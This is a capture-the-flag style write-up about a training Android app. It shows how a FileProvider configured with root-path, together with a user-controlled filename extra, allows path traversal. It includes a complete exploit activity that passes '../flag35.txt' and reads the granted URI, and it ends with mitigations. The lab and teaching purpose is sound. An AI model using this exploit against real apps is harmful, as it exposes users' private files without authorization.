Insecure root-path FileProvider Config Leading to Path Traversal Vulnerability
Hello, hackers! In this article, I will explain how an insecure root-path
FileProvider configuration can lead to a path traversal vulnerability, allowing an attacker to access unauthorized files.
Let’s dive into this exciting vulnerability!
1. Analyzing the AndroidManifest.xml File
While analyzing the AndroidManifest.xml
file, I found an interesting FileProvider
configuration:
With this meta-data code:
1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path
name="root_files"
path="/"/>
</paths>
This configuration means that the FileProvider
allows access to any file in the entire filesystem using getUriForFile()
.
2. Identifying the Vulnerable Activity
Next, I found an activity that uses this FileProvider
. Let’s analyze the code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@Override
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
String stringExtra = getIntent().getStringExtra("filename");
if (stringExtra != null) {
prepareFlag(this, stringExtra);
Uri uriForFile = FileProvider.getUriForFile(this, "io.hextree.root", new File(getFilesDir(), stringExtra));
Intent intent = new Intent();
intent.setData(uriForFile);
intent.addFlags(3);
setResult(0, intent);
return;
}
Uri uriForFile2 = FileProvider.getUriForFile(this, "io.hextree.root", new File(getFilesDir(), "secret.txt"));
Intent intent2 = new Intent();
intent2.setData(uriForFile2);
intent2.addFlags(3);
setResult(-1, intent2);
}
void prepareFlag(Context context, String str) {
if (str.contains("flag35.txt") && new File(getFilesDir(), str).exists()) {
LogHelper logHelper = new LogHelper(context);
logHelper.addTag("flag35");
logHelper.addTag("root-provider");
Utils.writeFile2(this, "flag35.txt", logHelper.appendLog(FLAG));
}
}
Key Findings
- The
FileProvider
allows handling arbitrary paths. - The
addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
grants read/write access. - The
filename
parameter is user-controlled, making it vulnerable to path traversal.
3. Exploiting the Vulnerability
Step 1: Inspect Incoming Intent Data
To analyze the incoming intent data, I wrote the following code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface",
"io.hextree.attacksurface.activities.Flag35Activity");
startActivityForResult(intent, 42);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
Utils.showDialog(this, data);
super.onActivityResult(requestCode, resultCode, data);
}
The displayed data indicates that the activity accesses a default file path ended by secert.txt
. Can we manipulate this to retrieve flag35.txt
?
Step 2: Exploiting Path Traversal
Since the filename
parameter is user-controlled, I attempted to inject "./flag35.txt"
:
1
intent.putExtra("filename", "./flag35.txt");
so now I used ../ to traverse directories for get one rime back:
1
intent.putExtra("filename", "../flag35.txt");
Step 3: Final Exploitation Code
The final exploit reads the contents of flag35.txt
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent = new Intent();
intent.putExtra("filename", "../flag35.txt");
intent.setClassName("io.hextree.attacksurface",
"io.hextree.attacksurface.activities.Flag35Activity");
startActivityForResult(intent, 42);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
Log.i("Data", "Uri: "+data.getData());
try {
InputStream inputStream = getContentResolver().openInputStream(data.getData());
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = reader.readLine()) != null){
Log.d("Kero", " [*] "+line);
}
}catch (IOException e) {}
Utils.showDialog(this, data);
super.onActivityResult(requestCode, resultCode, data);
}
Step 4: Retrieving the Flag
The flag is now visible in logcat
:
Mitigation
To prevent this vulnerability:
- Avoid using
root-path
inFileProvider
. Instead, define strict subdirectories. - Sanitize and validate user input.
- Apply strict permissions to prevent unauthorized access.
Conclusion
This write-up demonstrated how an insecure root-path
FileProvider configuration can lead to a path traversal vulnerability, allowing an attacker to access arbitrary files. By understanding and mitigating such misconfigurations, we can build more secure Android applications.
THANKS FOR READING ❤️